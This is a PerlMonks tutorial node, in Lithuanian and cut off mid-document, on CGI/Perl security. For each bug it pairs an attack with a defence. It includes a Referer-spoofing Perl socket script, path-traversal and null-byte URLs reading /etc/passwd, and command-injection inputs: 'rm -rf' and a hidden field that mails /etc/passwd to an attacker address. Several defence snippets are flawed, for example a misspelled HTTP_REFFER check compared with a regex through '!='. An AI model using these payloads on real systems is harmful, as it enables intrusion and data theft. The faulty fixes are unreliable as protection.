<?xml version="1.0" encoding="windows-1252"?>
<node id="159365" title="(lang: lt) CGI/Perl Script Security" created="2002-04-15 19:20:18" updated="2005-08-12 08:30:47">
<type id="956">
perltutorial</type>
<author id="159356">
mr2</author>
<data>
<field name="doctext">
&lt;H1&gt;CGI ataka ir apsauga by mr2 &amp;#091;v2.0&amp;#093;&lt;/h1&gt;
&lt;readmore&gt;
&lt;table width="100%" border="0" height="100%" cellpadding="0" cellspacing="0"&gt;
  &lt;tr&gt;
    &lt;td valign="top" align="center"&gt;
      &lt;table width="615" border="0" cellpadding="0" cellspacing="0"&gt;
        &lt;tr&gt; 
          &lt;td&gt; 
            &lt;div align="center"&gt; 
              &lt;table width="400" border="1" cellpadding="3" cellspacing="0" bordercolor="#000000"&gt;
                &lt;tr&gt; 
                  &lt;td&gt; 
                    &lt;div align="center"&gt;&lt;b&gt;CGI ataka ir apsauga &amp;#091;v2.0&amp;#093;&lt;br&gt;
                      by mr2&lt;/b&gt;&lt;/div&gt;
                  &lt;/td&gt;
                &lt;/tr&gt;
              &lt;/table&gt;
              &lt;br&gt;
            &lt;/div&gt;
          &lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt; 
          &lt;td&gt;
            &lt;table width="100%" border="1" cellpadding="3" cellspacing="0" bordercolor="#000000"&gt;
              &lt;tr&gt;
                &lt;td bgcolor="#666666"&gt; 
                  &lt;div align="center"&gt;&lt;b&gt;turinys&lt;/b&gt;&lt;/div&gt;
                &lt;/td&gt;
              &lt;/tr&gt;
            &lt;/table&gt;
            &lt;br&gt;
            &lt;table width="100%" border="1" cellpadding="3" cellspacing="0" bordercolor="#000000"&gt;
              &lt;tr&gt; 
                &lt;td&gt;01 - intro&lt;/td&gt;
              &lt;/tr&gt;
              &lt;tr&gt; 
                &lt;td&gt;02 - HTTP_REFFER&lt;/td&gt;
              &lt;/tr&gt;
              &lt;tr&gt; 
                &lt;td&gt;03 - dot dot bugs&lt;/td&gt;
              &lt;/tr&gt;
              &lt;tr&gt; 
                &lt;td&gt;04 - poison null byte bug&lt;/td&gt;
              &lt;/tr&gt;
              &lt;tr&gt; 
                &lt;td&gt;05 - system ... fork ... exec ...&lt;/td&gt;
              &lt;/tr&gt;
              &lt;tr&gt; 
                &lt;td&gt;06 - HTML/Script&lt;/td&gt;
              &lt;/tr&gt;
              &lt;tr&gt; 
                &lt;td&gt;07 - aibendrinimas&lt;/td&gt;
              &lt;/tr&gt;
            &lt;/table&gt;
            &lt;br&gt;
            &lt;table width="100%" border="1" cellpadding="3" cellspacing="0" bordercolor="#000000"&gt;
              &lt;tr&gt; 
                &lt;td bgcolor="#666666"&gt; 
                  &lt;div align="center"&gt;&lt;b&gt;text&lt;/b&gt;&lt;/div&gt;
                &lt;/td&gt;
              &lt;/tr&gt;
            &lt;/table&gt;
            &lt;br&gt;
            &lt;table width="100%" border="1" cellpadding="3" cellspacing="0" bordercolor="#000000"&gt;
              &lt;tr&gt; 
                &lt;td bgcolor="#999999"&gt; 01 - intro&lt;/td&gt;
              &lt;/tr&gt;
              &lt;tr&gt; 
                &lt;td&gt;&lt;br&gt;
                  sveiki PERL'o gerbejai ... myletojai ar tiesiog programuotojai 
                  !!! na labai malonu kad tokiu musu mylimoi Lietuvelei vis daugeja 
                  ... kalbu apie ne siaip imancius micro$oft &amp;quot;frontpage&amp;quot; 
                  ... &amp;quot;hotdog&amp;quot; ar dar koki &amp;quot;coffecup&amp;quot; (su 
                  keliais pasenusiais Matt Wright'o CGI/PERL pavyzdziais) ... 
                  imancius paveiksleli su kaukole ir darancius 'SuPeRdUpEr' puslapi 
                  ;) ... o apie mokancius ir darancius ...&lt;br&gt;
                  &lt;br&gt;
                  siais informaciniu technologiju laikais web puslapiai tiesiog 
                  kepami desimtimis tukstanciu per diena ... ir tik nedaugelis 
                  ju turi pakankamas apsaugas nuo paprasciausiu cgi/perl skriptu 
                  ataku ... mane tiesiog erzina kvailas web dizaineriu poziuris 
                  i savo darba ... jiem atrodo kad geras puslapio dizainas su 
                  keleta i puslapi idetu 'navarotu' ... jau darbo pabaiga ... 
                  inete netgi esu mates puslapi su rubrika &amp;quot;cgi/perl hack 
                  of the mounth&amp;quot; ... taip ... taip ... deje tokios klaidos 
                  yra labai daznos ... todel butina tokias klaidas salinti is 
                  cgi/perl (php ... asp ir t.t.) skriptu ... kad netektu poto 
                  gailetis (kas anksciau ar veliau ir atsitinka su zmonemis rasanciais 
                  nesaugius skriptus ... o tokiu labai dauk ... patikekit manim) 
                  ... juk nera tai taip ir sunku ... 
                  &lt;p&gt; toliau isdestysiu keleta standartiniu cgi/perl klaidu kuriomis 
                    ir naudojasi 'piktieji' hacker'iai ... manot tai sunku ? ;) 
                    taigi kad ne !!! viskas ko jums prireiks tai jusu mylimo internet 
                    browser'io : IE ... Netscape ar kito ... beabejo tureti bent 
                    minimalius (unix ar win) PERL programavimo pagrindus ... bei 
                    (svarbiausia) galva ant peciu ;) ... na dar betkokia teksto 
                    redagavimo programa pvz: notepad ...&lt;br&gt;
                    &lt;br&gt;
                  &lt;/p&gt;
                  &lt;/td&gt;
              &lt;/tr&gt;
            &lt;/table&gt;
            &lt;br&gt;
            &lt;table width="100%" border="1" cellpadding="3" cellspacing="0" bordercolor="#000000"&gt;
              &lt;tr&gt; 
                &lt;td bgcolor="#999999"&gt;02 - HTTP_REFFER&lt;/td&gt;
              &lt;/tr&gt;
              &lt;tr&gt; 
                &lt;td&gt;
                  &lt;table width="100" border="1" cellpadding="0" cellspacing="0" bordercolor="#000000"&gt;
                    &lt;tr&gt; 
                      &lt;td&gt; 
                        &lt;div align="center"&gt;ataka&lt;/div&gt;
                      &lt;/td&gt;
                    &lt;/tr&gt;
                  &lt;/table&gt;
                  &lt;br&gt;
                  atakos paskirtis - perduoti remote skriptui pakeista (kreiva) 
                  informacija&lt;br&gt;
                  &lt;br&gt;
                  taigi ... randame web puslapiuka su kaskokiu jus dominanciu 
                  PERL skriptuku ir issaugom html'a pas save kompiuteryje ... 
                  tada paziurim pati html'a ir rade pvz :&lt;br&gt;
                  &lt;br&gt;
                  &lt;table width="100%" border="1" cellpadding="3" cellspacing="0" bgcolor="#CCCCCC" bordercolor="#333333"&gt;
                    &lt;tr&gt;
                      &lt;td&gt;&amp;lt;form method=&amp;quot;POST&amp;quot; action=&amp;quot;/cgi-bin/programa.pl&amp;quot;&amp;gt;&lt;/td&gt;
                    &lt;/tr&gt;
                  &lt;/table&gt;
                  &lt;p&gt;pakeiciam i pvz :&lt;/p&gt;
                  &lt;table width="100%" border="1" cellpadding="3" cellspacing="0" bgcolor="#CCCCCC" bordercolor="#333333"&gt;
                    &lt;tr&gt; 
                      &lt;td&gt;&amp;lt;form method=&amp;quot;POST&amp;quot; action=&amp;quot;http://www.auka.lt/cgi-bin/programa.pl&amp;quot;&amp;gt;&lt;/td&gt;
                    &lt;/tr&gt;
                  &lt;/table&gt;
                  &lt;p&gt;hmm ka mums tai duoda ? ogi tai kad dabar si html'a issaugoje 
                    pas save diske jus galite paleisti http://www.auka.lt/cgi-bin/programa.pl 
                    PERL programa is namu ir perduoti jai savus duomenis post 
                    metodu (get metodui uztenka url eilutes) ;) ... hmm kam tai 
                    ? ogi tam kad tame paciame html'e galima rasti pasleptu duomenu 
                    perduodamu paciam skriptui pvz :&lt;/p&gt;
                  &lt;table width="100%" border="1" cellpadding="3" cellspacing="0" bgcolor="#CCCCCC" bordercolor="#333333"&gt;
                    &lt;tr&gt; 
                      &lt;td&gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;meilas&amp;quot; 
                        size=&amp;quot;20&amp;quot; value=&amp;quot;webmaster@takas.lt&amp;quot;&amp;gt;&lt;/td&gt;
                    &lt;/tr&gt;
                  &lt;/table&gt;
                  &lt;p&gt; ir kagi tai reiskia ? ... sis skriptas ivestus duomenis 
                    (greiciausiai) siuncia webmaster@takas.lt savininkui ... negi 
                    neidomu kas tame laiske rasoma ? ... taigi pakeiciam webmaster@takas.lt 
                    i pvz : mr2@xxx.lt ir isbandom ...&lt;br&gt;
                    &lt;br&gt;
                    beabejo sis hack'as kaskokios dideles naudos neduos ... galu 
                    gale taip galima suzinot kokius duomenis apie tave renka adminas 
                    pvz : IP ... tai juk tik vienas (is daugeliu) sios atakos 
                    panaudojimo budas ... kad ir pvz: jej rastumem pvz : 'value=&amp;quot;uzloginta.html&amp;quot;' 
                    ... hmm argi tai tik ne html'as rodomas i forma teisingai 
                    ivedus duomenis ? hmm kodelgi sito nepakeitus i pvz : 'value=&amp;quot;/../../../etc/passwd&amp;quot;' 
                    a?&lt;/p&gt;
                  &lt;table width="100" border="1" cellpadding="0" cellspacing="0" bordercolor="#000000"&gt;
                    &lt;tr&gt; 
                      &lt;td&gt; 
                        &lt;div align="center"&gt;apsauga&lt;/div&gt;
                      &lt;/td&gt;
                    &lt;/tr&gt;
                  &lt;/table&gt;
                  &lt;p&gt; nuo tokio tipo ataku labai paprasta ir butina apsisaugot 
                    ... tiesiog irasom sekancias eilutes i savo skriptuko pradzia:&lt;br&gt;
                  &lt;/p&gt;
                  &lt;table width="100%" border="1" cellpadding="3" cellspacing="0" bgcolor="#CCCCCC" bordercolor="#333333"&gt;
                    &lt;tr&gt; 
                      &lt;td&gt;
                        &lt;p&gt;if ($ENV{'HTTP_REFFER'} != m#^http://www.jusuhostas.lt/cgi-bin/programa.pl#){&lt;br&gt;
                          print &amp;quot;content-type: text/html\n\n&amp;quot;;&lt;br&gt;
                          print &amp;quot;atsok hacker\'i OK&amp;quot;; }&lt;/p&gt;
                        &lt;/td&gt;
                    &lt;/tr&gt;
                  &lt;/table&gt;
                  &lt;p&gt;kuris tikrina ar duomenys gauti per jusu URL ... BET TAI 
                    NERA 100% APSAUGA nes visa si tikrinima galima labai lengvai 
                    apeiti pvz su telnet'o pagalba ... (nuo wannabe JAPH apsaugo 
                    ;) )&lt;br&gt;
                    &lt;br&gt;
                    kadangi tai varginanti procedura ... hackeriai yra pasirase 
                    ivairiu programu kurios tai atlieka automatiskai ...&lt;br&gt;
                    cia ir idedu tokio tipo skripta (demonstruojanti galimus duomenu 
                    pakeitimus uzkausoje) parasyta perl'u:&lt;br&gt;
                    &lt;br&gt;
                  &lt;/p&gt;
                  &lt;table width="100%" border="1" cellpadding="3" cellspacing="0" bgcolor="#CCCCCC" bordercolor="#333333"&gt;
                    &lt;tr&gt; 
                      &lt;td&gt;
&lt;p&gt;#!/usr/bin/perl&lt;/p&gt;
                        &lt;p&gt;use Socket; #naudojam socket biblioteka (detalesne 
                          informacija apie sia biblioteka CPAN'e)&lt;/p&gt;
                        &lt;p&gt;$hostas='http://127.0.0.1'; #taikinys&lt;br&gt;
                          $path='/cgi-bin/test.pl'; #kelias iki skripto&lt;br&gt;
                          $portas=80; #portas (default 80)&lt;br&gt;
                          $http_method='POST'; #duomenu siuntimo metodas&lt;br&gt;
                          $http_protocol='HTTP/1.0'; #protokolas&lt;br&gt;
                          $http_referer='http://127.0.0.1/test.pl'; #apgaulingas 
                          HTTP_REFERER&lt;br&gt;
                          $http_user_agent='http_referer exploit in PERL by mr2'; 
                          #browserio tipas ;)&lt;br&gt;
                          $http_content_type='application/x-www-form-urlencoded'; 
                          #duomenu enkodingas&lt;br&gt;
                          $form_d='name=mr2&amp;amp;email=mr2@xxx.lt'; #POST metodu 
                          siunciama eilute&lt;br&gt;
                          $form_d=~s/\,/\%2C/g; #keicaim kablelius i &amp;quot;%2C&amp;quot;&lt;br&gt;
                          $form_d=~s/ /+/g; #keiciam tarpus i &amp;quot;+&amp;quot;&lt;br&gt;
                          $length=length($form_d); #skaiciuojam eilutes ilgi (CONTENT_LENGTH)&lt;/p&gt;
                        &lt;p&gt;#visa (serveriui) siunciama eilute&lt;/p&gt;
                        &lt;p&gt;$duomenys=&amp;quot;$http_method $path $http_protocol\r&lt;br&gt;
                          Referer: $http_referer\r&lt;br&gt;
                          User Agent: $http_user_agent\r&lt;br&gt;
                          Content-type: $http_content_type\r&lt;br&gt;
                          Content-length: $length\r&lt;br&gt;
                          \r&lt;br&gt;
                          $form_d\r&lt;br&gt;
                          &amp;quot;;&lt;/p&gt;
                        &lt;p&gt;print &amp;quot;content-type: text/html\n\n&amp;quot;; #rezultatus 
                          rodysim browser'yje&lt;br&gt;
                          &amp;amp;siusti; #issaukiam siuntimo sub'a&lt;br&gt;
                          exit; #isejimas is programos&lt;/p&gt;
                        &lt;p&gt;#toliau standartinis tcp soketo susijungimas su servu 
                          ...&lt;br&gt;
                          #eilutes perdavimas ir servo atsakymo rodymas browser'yje 
                          ...&lt;/p&gt;
                        &lt;p&gt;sub siusti {&lt;br&gt;
                          $i_addr=inet_aton($hostas) || die 'nepavyko rasti host\'o 
                          !';&lt;br&gt;
                          $p_addr=sockaddr_in($portas,$i_addr);&lt;br&gt;
                          $proto=getprotobyname('tcp');&lt;br&gt;
                          socket(SOCK,PF_INET,SOCK_STREAM,$proto) || die 'nepavyko 
                          sukurti socket\'o !';&lt;br&gt;
                          connect(SOCK,$p_addr) || die 'nepavyko susijungti !';&lt;br&gt;
                          send(SOCK,$duomenys,0);&lt;br&gt;
                          while (&amp;lt;SOCK&amp;gt;) { print &amp;quot;$_&amp;quot;; }&lt;br&gt;
                          close(SOCK);&lt;br&gt;
                          }&lt;/p&gt;
                      &lt;/td&gt;
                    &lt;/tr&gt;
                  &lt;/table&gt;
                  &lt;br&gt;
                &lt;/td&gt;
              &lt;/tr&gt;
            &lt;/table&gt;
            &lt;br&gt;
            &lt;table width="100%" border="1" cellpadding="3" cellspacing="0" bordercolor="#000000"&gt;
              &lt;tr&gt;
                &lt;td bgcolor="#999999"&gt;03 - dot dot bugs&lt;/td&gt;
              &lt;/tr&gt;
              &lt;tr&gt; 
                &lt;td&gt; 
                  &lt;table width="100" border="1" cellpadding="0" cellspacing="0" bordercolor="#000000"&gt;
                    &lt;tr&gt; 
                      &lt;td&gt; 
                        &lt;div align="center"&gt;ataka&lt;/div&gt;
                      &lt;/td&gt;
                    &lt;/tr&gt;
                  &lt;/table&gt;
                  &lt;p&gt;atakos paskirtis - naudojant &amp;quot;..&amp;quot; keliauti po serverio 
                    katalogus (perziurint paciu katalogu sudeti ar failu skaitymui)&lt;br&gt;
                    &lt;br&gt;
                    na tai turbut labiausiai paplitus ataka nes sekmingai ja pasinaudojus 
                    is serverio galima isgauti /etc/passwd ar betkoki kita hackeriui 
                    idomu faila ...&lt;br&gt;
                    &lt;br&gt;
                    ji vykdoma per URL eilute ... ivedant ne normaliai pvz:&lt;/p&gt;
                  &lt;table width="100%" border="1" cellpadding="3" cellspacing="0" bgcolor="#CCCCCC" bordercolor="#333333"&gt;
                    &lt;tr&gt; 
                      &lt;td&gt; 
                        &lt;p&gt;http://www.auka.lt/cgi-bin/get.pl?rodyt=nuorodos.html&lt;/p&gt;
                      &lt;/td&gt;
                    &lt;/tr&gt;
                  &lt;/table&gt;
                  &lt;p&gt;kad skriptas i browser'i isvestu ne nuorodos.html turini 
                    o pvz:&lt;/p&gt;
                  &lt;table width="100%" border="1" cellpadding="3" cellspacing="0" bgcolor="#CCCCCC" bordercolor="#333333"&gt;
                    &lt;tr&gt; 
                      &lt;td&gt; 
                        &lt;p&gt;http://www.auka.lt/cgi-bin/get.pl?rodyt=../../../etc/passwd&lt;/p&gt;
                      &lt;/td&gt;
                    &lt;/tr&gt;
                  &lt;/table&gt;
                  &lt;p&gt;si problema iskyla tada kai jums reikia html'e nurodyti ka 
                    rodyti po kaskokio veiksmo (koki puslapi ar panasiai) pvz:&lt;/p&gt;
                  &lt;table width="100%" border="1" cellpadding="3" cellspacing="0" bgcolor="#CCCCCC" bordercolor="#333333"&gt;
                    &lt;tr&gt; 
                      &lt;td&gt;
                        &lt;p&gt;open(F,&amp;quot;&amp;lt;/home/remote/mr2/public_html/$input&amp;quot;);&lt;br&gt;
                          @visas=&amp;lt;F&amp;gt;;&lt;br&gt;
                          close(F);&lt;br&gt;
                          print &amp;quot;Content-Type: text/html\n\n&amp;quot;;&lt;br&gt;
                          foreach $eilute (@visas) {&lt;br&gt;
                          print $eilute;&lt;br&gt;
                          }&lt;br&gt;
                          close(F);&lt;/p&gt;
                        &lt;/td&gt;
                    &lt;/tr&gt;
                  &lt;/table&gt;
                  &lt;p&gt;siuo atveju &amp;quot;..&amp;quot; pagalba galima nukeliauti i zemesnius 
                    katalogus ir is ten i browseri isvedamas nurodyto failo turinys 
                    (tiek kiek leidzia juzerio id) ...&lt;br&gt;
                    &lt;br&gt;
                    tokiu paciu principu galima pasinaudoti ir skriptais irasanciais 
                    i failus esancius serveryje ... pakeisti kaskokius duomenis 
                    ... ar paprasciausiai deface'int index.html ...&lt;/p&gt;
                  &lt;table width="100" border="1" cellpadding="0" cellspacing="0" bordercolor="#000000"&gt;
                    &lt;tr&gt; 
                      &lt;td&gt; 
                        &lt;div align="center"&gt;apsauga&lt;/div&gt;
                      &lt;/td&gt;
                    &lt;/tr&gt;
                  &lt;/table&gt;
                  &lt;p&gt;nuo sios atakos yra keleta apsisaugojimo budu ... pvz:&lt;br&gt;
                    &lt;br&gt;
                    (populiariausias) &amp;quot;..&amp;quot; salinimas:&lt;br&gt;
                  &lt;/p&gt;
                  &lt;table width="100%" border="1" cellpadding="3" cellspacing="0" bgcolor="#CCCCCC" bordercolor="#333333"&gt;
                    &lt;tr&gt; 
                      &lt;td&gt; 
                        &lt;p&gt;$direktorija =~ s#\.\.##g;&lt;/p&gt;
                      &lt;/td&gt;
                    &lt;/tr&gt;
                  &lt;/table&gt;
                  &lt;p&gt;arba pvz: vietoje&lt;/p&gt;
                  &lt;table width="100%" border="1" cellpadding="3" cellspacing="0" bgcolor="#CCCCCC" bordercolor="#333333"&gt;
                    &lt;tr&gt; 
                      &lt;td&gt; 
                        &lt;p&gt;http://www.auka.lt/cgi-bin/get.pl?rodyt=nuorodos.html&lt;/p&gt;
                      &lt;/td&gt;
                    &lt;/tr&gt;
                  &lt;/table&gt;
                  &lt;p&gt;naudoti pvz:&lt;/p&gt;
                  &lt;table width="100%" border="1" cellpadding="3" cellspacing="0" bgcolor="#CCCCCC" bordercolor="#333333"&gt;
                    &lt;tr&gt; 
                      &lt;td&gt; 
                        &lt;p&gt;http://www.auka.lt/cgi-bin/get.pl?siust=01&lt;/p&gt;
                      &lt;/td&gt;
                    &lt;/tr&gt;
                  &lt;/table&gt;
                  &lt;p&gt;kur gavus toki URL ... rodyti faila pagal (kokiametai) failu 
                    saraselyje nurodytus failu numerius (01) ... direktorijas 
                    ... zodziu neleisti i URL ivedinet tiesaus adreso i failus 
                    ...&lt;/p&gt;
                  &lt;p&gt; dar kitas budas: uzdrausti siust failus neesancius pagrindiniame 
                    kataloge pvz:&lt;/p&gt;
                  &lt;table width="100%" border="1" cellpadding="3" cellspacing="0" bgcolor="#CCCCCC" bordercolor="#333333"&gt;
                    &lt;tr&gt; 
                      &lt;td&gt; 
                        &lt;p&gt;if ($direktorija ne /^$root_directory/) { print &amp;quot;atsok 
                          hacker\'i OK&amp;quot;; }&lt;/p&gt;
                      &lt;/td&gt;
                    &lt;/tr&gt;
                  &lt;/table&gt;
                  &lt;p&gt;bet sis budas gan retai naudojamas (nes kartais ji imanoma 
                    apeiti)&lt;br&gt;
                    &lt;br&gt;
                  &lt;/p&gt;
                  &lt;/td&gt;
              &lt;/tr&gt;
            &lt;/table&gt;
            &lt;br&gt;
            &lt;table width="100%" border="1" cellpadding="3" cellspacing="0" bordercolor="#000000"&gt;
              &lt;tr&gt; 
                &lt;td bgcolor="#999999"&gt;04 - poison null byte bug&lt;/td&gt;
              &lt;/tr&gt;
              &lt;tr&gt; 
                &lt;td&gt; 
                  &lt;table width="100" border="1" cellpadding="0" cellspacing="0" bordercolor="#000000"&gt;
                    &lt;tr&gt; 
                      &lt;td&gt; 
                        &lt;div align="center"&gt;ataka&lt;/div&gt;
                      &lt;/td&gt;
                    &lt;/tr&gt;
                  &lt;/table&gt;
                  &lt;p&gt;Olaf Kirch atrastas bug'as ... viena is originalesniu ataku 
                    ... leidzianti &amp;quot;nukirpti primetama galune&amp;quot;&lt;br&gt;
                    &lt;br&gt;
                    manau jus tikrai esat mate web skriptu atrodanciu pvz:&lt;/p&gt;
                  &lt;table width="100%" border="1" cellpadding="3" cellspacing="0" bgcolor="#CCCCCC" bordercolor="#333333"&gt;
                    &lt;tr&gt; 
                      &lt;td&gt; 
                        &lt;p&gt;http://www.auka.lt/cgi-bin/programa.pl?rodyt=nuorodos&lt;/p&gt;
                      &lt;/td&gt;
                    &lt;/tr&gt;
                  &lt;/table&gt;
                  &lt;p&gt; ir paleidus si skripta jis i jusu browser'i tiesog isveda 
                    (musu atveju) pvz : nuorodos.html ... o pats skriptas atrodo 
                    pvz:&lt;/p&gt;
                  &lt;table width="100%" border="1" cellpadding="3" cellspacing="0" bgcolor="#CCCCCC" bordercolor="#333333"&gt;
                    &lt;tr&gt; 
                      &lt;td&gt; 
                        &lt;p&gt;$html_pav=&amp;quot;$ivesta\.html&amp;quot;;&lt;br&gt;
                          open(F,&amp;quot;&amp;lt;$html_pav&amp;quot;);&lt;br&gt;
                          @visas=&amp;lt;F&amp;gt;;&lt;br&gt;
                          close(F);&lt;br&gt;
                          print &amp;quot;Content-Type: text/html\n\n&amp;quot;;&lt;br&gt;
                          foreach $eilute (@visas) {&lt;br&gt;
                          print $eilute;&lt;br&gt;
                          }&lt;br&gt;
                          close(F);&lt;/p&gt;
                      &lt;/td&gt;
                    &lt;/tr&gt;
                  &lt;/table&gt;
                  &lt;p&gt;na ka cia galima nu'hack'int pasakysit jus ... juk cia imamas 
                    ivestas html'o pavadinimas ... prie jo galo pridedami &amp;quot;.html&amp;quot; 
                    ir html'as parodomas jusu browser'yje ...&lt;/p&gt;
                  &lt;p&gt; bet kas butu jei ($ivesta) ivestumem pvz : &amp;quot;/etc/passwd%00nuorodos&amp;quot; 
                    ?&lt;/p&gt;
                  &lt;table width="100%" border="1" cellpadding="3" cellspacing="0" bgcolor="#CCCCCC" bordercolor="#333333"&gt;
                    &lt;tr&gt; 
                      &lt;td&gt; 
                        &lt;p&gt;$html_pav=&amp;quot;$ivesta\.html&amp;quot;; # dabar $html_pav='/etc/passwd%00nuorodos.html'&lt;br&gt;
                          open(FILE &amp;quot;&amp;lt;$html_pav&amp;quot;); # atidarineja 
                          $html_pav&lt;/p&gt;
                        &lt;/td&gt;
                    &lt;/tr&gt;
                  &lt;/table&gt;
                  &lt;p&gt;atidarineja $html_pav ne kaip '/etc/passwd%00nuorodos.html' 
                    kas teoriskai ir turetu ivykti ... o '/etc/passwd' nes perl'as 
                    %00 ('\0'==%00) supranta kaip ivestos eilutes pabaiga ;) (beje 
                    tai ne vienintelis null byte atakos budas)&lt;/p&gt;
                  &lt;table width="100" border="1" cellpadding="0" cellspacing="0" bordercolor="#000000"&gt;
                    &lt;tr&gt; 
                      &lt;td&gt; 
                        &lt;div align="center"&gt;apsauga&lt;/div&gt;
                      &lt;/td&gt;
                    &lt;/tr&gt;
                  &lt;/table&gt;
                  &lt;p&gt; apsauga beabejo nuo to egzistuoja ... ir ji skamba labai 
                    paprastai : istrinam ivestuose duomenyse esancius &amp;quot;\0&amp;quot; 
                    (null baitus) :&lt;/p&gt;
                  &lt;table width="100%" border="1" cellpadding="3" cellspacing="0" bgcolor="#CCCCCC" bordercolor="#333333"&gt;
                    &lt;tr&gt; 
                      &lt;td&gt; 
                        &lt;p&gt;$ivesta=~s/\0//g;&lt;/p&gt;
                      &lt;/td&gt;
                    &lt;/tr&gt;
                  &lt;/table&gt;
                  &lt;br&gt;
                &lt;/td&gt;
              &lt;/tr&gt;
            &lt;/table&gt;
            &lt;br&gt;
            &lt;table width="100%" border="1" cellpadding="3" cellspacing="0" bordercolor="#000000"&gt;
              &lt;tr&gt; 
                &lt;td bgcolor="#999999"&gt;05 - system ... fork ... exec ...&lt;/td&gt;
              &lt;/tr&gt;
              &lt;tr&gt; 
                &lt;td&gt; 
                  &lt;table width="100" border="1" cellpadding="0" cellspacing="0" bordercolor="#000000"&gt;
                    &lt;tr&gt;
                      &lt;td&gt;
                        &lt;div align="center"&gt;ataka&lt;/div&gt;
                      &lt;/td&gt;
                    &lt;/tr&gt;
                  &lt;/table&gt;
                  &lt;br&gt;
                  geriau zinantiems PERL ... nesvetimos : system fork exec funkcijos 
                  ... kuriu neteisingas panaudojimas taipat gali pridaryt nemalonumu 
                  pvz: 
                  &lt;p&gt;&amp;nbsp;&lt;/p&gt;
                  &lt;table width="100%" border="1" cellpadding="3" cellspacing="0" bgcolor="#CCCCCC" bordercolor="#333333"&gt;
                    &lt;tr&gt; 
                      &lt;td&gt; 
                        &lt;p&gt;system (&amp;quot;grep $paieskomas_zodis duomenys.log &amp;gt; 
                          gauta.log&amp;quot;);&lt;/p&gt;
                      &lt;/td&gt;
                    &lt;/tr&gt;
                  &lt;/table&gt;
                  &lt;p&gt;eilute turetu ieskoti zodzio ($paieskomas_zodis) duomenys.log 
                    faile ir gautus rezultatus issaugoti gauta.log faile ... ir 
                    jei $paieskomas_zodis ivedamas html'o formoje ... kodelgi 
                    cOOl hacker'iui neivedus pvz: 'cd /; rm -rf *.*&amp;quot; kad 
                    dabar is eiles butu vykdomos komandos: grep; cd /; rm -rf 
                    *.* data.txt &amp;gt; results.txt&lt;br&gt;
                    &lt;br&gt;
                    kitas pavizdys arba kaip gauti passwd el.pasto pagalba ... 
                    jei turim pvz:&lt;/p&gt;
                  &lt;table width="100%" border="1" cellpadding="3" cellspacing="0" bgcolor="#CCCCCC" bordercolor="#333333"&gt;
                    &lt;tr&gt; 
                      &lt;td&gt; 
                        &lt;p&gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;email&amp;quot; 
                          value=&amp;quot;lama@centras.lt&amp;quot;&amp;gt;&lt;/p&gt;
                      &lt;/td&gt;
                    &lt;/tr&gt;
                  &lt;/table&gt;
                  &lt;p&gt;o pats @mail'as issiunciamas pvz:&lt;/p&gt;
                  &lt;table width="100%" border="1" cellpadding="3" cellspacing="0" bgcolor="#CCCCCC" bordercolor="#333333"&gt;
                    &lt;tr&gt; 
                      &lt;td&gt; 
                        &lt;p&gt;system(&amp;quot;/usr/lib/sendmail -t $email &amp;lt; $file&amp;quot;);&lt;/p&gt;
                      &lt;/td&gt;
                    &lt;/tr&gt;
                  &lt;/table&gt;
                  &lt;p&gt;tada pakeiciam anksciau mineta eilute i:&lt;/p&gt;
                  &lt;table width="100%" border="1" cellpadding="3" cellspacing="0" bgcolor="#CCCCCC" bordercolor="#333333"&gt;
                    &lt;tr&gt; 
                      &lt;td&gt; 
                        &lt;p&gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;email&amp;quot; 
                          value=&amp;quot;lama@centras.lt;mail mr2@xxx.lt &amp;lt;/etc/passwd&amp;quot;&amp;gt;&lt;/p&gt;
                      &lt;/td&gt;
                    &lt;/tr&gt;
                  &lt;/table&gt;
                  &lt;p&gt;ir kaip jus manot koki el. laiska turetumet gauti po sekmingai 
                    paleisto skripto ?&lt;/p&gt;
                  &lt;table width="100" border="1" cellpadding="0" cellspacing="0" bordercolor="#000000"&gt;
                    &lt;tr&gt; 
                      &lt;td&gt; 
                        &lt;div align="center"&gt;apsauga&lt;/div&gt;
                      &lt;/td&gt;
                    &lt;/tr&gt;
                  &lt;/table&gt;
                  &lt;p&gt; apsisaugot galima keliais budais (todel man ir patinka PERL 
                    ...) pvz : uzdraudziam $paieskomas_zodis ivedinet nereikalingus 
                    simbolius:&lt;br&gt;
                  &lt;/p&gt;
                  &lt;table width="100%" border="1" cellpadding="3" cellspacing="0" bgcolor="#CCCCCC" bordercolor="#333333"&gt;
                    &lt;tr&gt; 
                      &lt;td&gt; 
                        &lt;p&gt;$paieskomas_zodis =~ tr/0-9a-z_A-Z\///cd;&lt;/p&gt;
                      &lt;/td&gt;
                    &lt;/tr&gt;
                  &lt;/table&gt;
                  &lt;p&gt;arba pakeinciam pradine eilute i:&lt;/p&gt;
                  &lt;table width="100%" border="1" cellpadding="3" cellspacing="0" bgcolor="#CCCCCC" bordercolor="#333333"&gt;
                    &lt;tr&gt; 
                      &lt;td&gt; 
                        &lt;p&gt;system (&amp;quot;grep&amp;quot;,&amp;quot;$paieskomas_zodis&amp;quot;,&amp;quot;duomenys.log&amp;quot;,&amp;quot;&amp;gt; 
                          gauta.log&amp;quot;);&lt;/p&gt;
                      &lt;/td&gt;
                    &lt;/tr&gt;
                  &lt;/table&gt;
                  &lt;p&gt;dabar $paieskomas_zodis bus suprantamas kaip grep kintamasis 
                    ...&lt;/p&gt;
                  &lt;p&gt; arba isvis 'system(&amp;quot;/usr/lib/sendmail...' keiciam i 
                    paprastesni (ir saugesni) skripta :&lt;/p&gt;
                  &lt;p&gt;&amp;nbsp; &lt;/p&gt;
                  &lt;table width="100%" border="1" cellpadding="3" cellspacing="0" bgcolor="#CCCCCC" bordercolor="#333333"&gt;
                    &lt;tr&gt; 
                      &lt;td&gt; 
                        &lt;p&gt;open(MAIL, &amp;quot;|/usr/lib/sendmail -t&amp;quot;);&lt;br&gt;
                          print MAIL &amp;quot;To: $adresas\n&amp;quot;;&lt;/p&gt;
                        &lt;/td&gt;
                    &lt;/tr&gt;
                  &lt;/table&gt;
                  &lt;br&gt;
                &lt;/td&gt;
              &lt;/tr&gt;
            &lt;/table&gt;
            &lt;br&gt;
            &lt;table width="100%" border="1" cellpadding="3" cellspacing="0" bordercolor="#000000"&gt;
              &lt;tr&gt; 
                &lt;td bgcolor="#999999"&gt;06 - HTML/Script&lt;/td&gt;
              &lt;/tr&gt;
              &lt;tr&gt; 
                &lt;td&gt;
